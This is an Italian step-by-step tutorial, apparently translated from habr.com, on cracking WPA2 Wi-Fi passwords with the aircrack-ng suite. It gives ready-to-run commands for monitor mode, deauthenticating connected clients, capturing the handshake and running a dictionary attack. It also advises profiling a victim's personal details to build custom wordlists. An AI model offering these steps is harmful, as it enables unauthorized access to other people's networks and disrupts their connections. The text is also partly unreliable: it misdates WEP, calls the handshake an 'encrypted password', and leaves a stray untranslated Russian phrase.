Questo articolo è scritto esclusivamente a scopo informativo e di ricerca. Vi invitiamo a rispettare le normative sul lavoro in rete e la legge, e a tenere sempre a mente la sicurezza dell'informazione.
Introduzione
All'inizio degli anni '90, quando il Wi-Fi è appena comparso, è stato creato l'algoritmo Wired Equivalent Privacy, destinato a garantire la riservatezza delle reti Wi-Fi. Tuttavia, WEP si è rivelato un algoritmo di protezione inefficace, facilmente vulnerabile.
A sostituirlo è giunto un nuovo algoritmo di protezione, il Wi-Fi Protected Access II, oggi utilizzato dalla maggior parte degli access point Wi-Fi. WPA2 utilizza l'algoritmo di crittografia AES, che è estremamente difficile da violare.
E dove si trova la vulnerabilità?
Il problema di WPA2 è che la password crittografata viene trasmessa durante la connessione degli utenti durante il cosiddetto 4-way handshake (il handshake a 4 vie). Se riusciamo a catturare il handshake, scopriremo la password crittografata e ci rimarrà solo da decifrarla. Per questo scopo utilizzeremo aircrack-ng.
Come si fa a violare?
Passo 1. Determiniamo l'interfaccia
Per prima cosa dobbiamo scoprire quale interfaccia di rete ci serve, per fare ciò inseriamo il comando:
$ ifconfigRiceviamo la risposta:
eth0 no wireless extensions.
wlan0 IEEE 802.11abgn ESSID:off/any
Mode:Managed Access Point: Not-Associated Tx-Power=15 dBm
Retry short limit:7 RTS thr:off Fragment thr:off
Encryption key:off
Power Management:off
lo no wireless extensionsNel mio caso ci sono solo tre interfacce, due delle quali non hanno estensioni wireless (no wireless extensions). Quindi l'unica che ci interessa è wlan0.
Passo 2. Mettiamo l'adattatore di rete in modalità monitoraggio
Mettere l'adattatore di rete in modalità monitoraggio ci permetterà di vedere il traffico wireless che passa vicino a noi. Per procedere, inseriamo il comando:
$ airmon-ng start wlan0Si noti che airmon-ng ha rinominato la vostra interfaccia (nel mio caso è diventata mon0, ma vale la pena verificare).
Passo 3. Catturiamo il traffico
Ora che il nostro adattatore di rete è in modalità monitoraggio, possiamo catturare il traffico che passa accanto a noi, usando il comando airodump-ng. Digitiamo:
$ airodump-ng mon0 
Si noti che tutti i punti di accesso visibili sono elencati nella parte superiore dello schermo, mentre i clienti sono visualizzati nella parte inferiore dello schermo.
Passo 4. Concentrarci sulla cattura di un punto di accesso specifico.
Il nostro prossimo passo è concentrarci su uno dei punti di accesso e sul suo canale. Siamo interessati al BSSID e al numero di canale del punto di accesso che intendiamo compromettere. Apriamo un altro terminale e digitiamo:
$ airodump-ng --bssid 08:86:30:74:22:76 -c 6 -w WPAcrack mon0 
- 08:86:30:74:22:76 BSSID del punto di accesso
- -c 6 canale su cui opera il punto di accesso Wi-Fi
- WPAcrack file in cui verrà registrato il handshake
- mon0 adattatore di rete in modalità monitor
Come puoi vedere nell'immagine qui sopra, ci stiamo attualmente concentrando sulla cattura dei dati da un punto di accesso con ESSID Belkin276 sul canale 6. Lascia aperto il terminale!
Passo 5. Cattura del handshake
Per catturare la password crittografata, abbiamo bisogno che un client si autentichi (si connetta al Wi-Fi). Se è già autenticato, possiamo disautenticarlo (disconnetterlo), quindi il sistema si ri-autentica automaticamente (si riconnetterà), il che ci consentirà di ottenere la password crittografata.
In altre parole, dobbiamo semplicemente disconnettere gli utenti connessi affinché si riconnettano. Per farlo, apriamo un altro terminale e digitiamo:
$ aireplay-ng --deauth 100 -a 08:86:30:74:22:76 mon0 
- 100 numero di utenti che saranno disautenticati
- 08:86:30:74:22:76 BSSID del punto di accesso
- mon0 adattatore di rete
Ora, al momento della riconnessione, la finestra che abbiamo lasciato nel passaggio precedente catturerà il handshake. Torniamo al nostro terminale airodump-ng e vediamo.

Nota la riga superiore a destra, airodump-ng ha riportato: «Handshake WPA». Questo significa che abbiamo catturato con successo la password crittografata! Questo è il primo passo verso il successo!
Passo 6. Recupero della password
Ora che abbiamo la password crittografata nel nostro file WPAcrack, possiamo avviare il recupero della password. Ma per farlo, abbiamo bisogno di un elenco di password che vogliamo utilizzare. Un elenco del genere può essere trovato in 5 minuti su Google. Io userò la lista delle password predefinita inclusa in aircrack-ng: BackTrack darkcOde.
Apriamo un nuovo terminale e digitiamo:
$ aircrack-ng WPAcrack-01.cap -w /pentest/passwords/wordlists/darkc0de 
- WPAcrack-01.cap file in cui abbiamo registrato il handshake (airodump-ng ha aggiunto -01.cap alla fine)
- /pentest/passwords/wordlist/darkc0de абсолютный путь к списку паролей
Quanto tempo ci vorrà?
Questo processo può richiedere molto tempo. Dipende dalla lunghezza della tua lista di password, puoi aspettarti di attendere da pochi minuti a diversi giorni. Sul mio processore Intel dual-core, aircrack-ng recupera poco più di 800 password al secondo.
Quando la password sarà trovata, apparirà sullo schermo. Se il recupero della password avrà successo o meno dipende dalla tua lista. Se non riesci a trovare la password con una lista, non disperare, prova con un'altra.
Suggerimenti per l'uso
- Questo tipo di attacco è efficace per il recupero delle password tramite lista, ma praticamente inutile per il recupero randomico. Tutto dipende dal tempo. Se il Wi-Fi è protetto con una password mediocre di lettere e numeri, il recupero randomico richiederà anni.
- Quando scegli una lista di password, tieni conto dei fattori geografici. Ad esempio, non ha senso provare a recuperare una password in un ristorante di Parigi usando un elenco di password russo.
- Se stai hackerando un Wi-Fi domestico, cerca di scoprire qualche dato personale della vittima (nome, cognome, data di nascita, soprannome del cane, ecc.) e genera una lista aggiuntiva di password a partire da queste informazioni.
- Dopo aver catturato il handshake, disattiva il lavoro di aireplay-ng (non far soffrire gli utenti comuni).
Fonte: habr.com
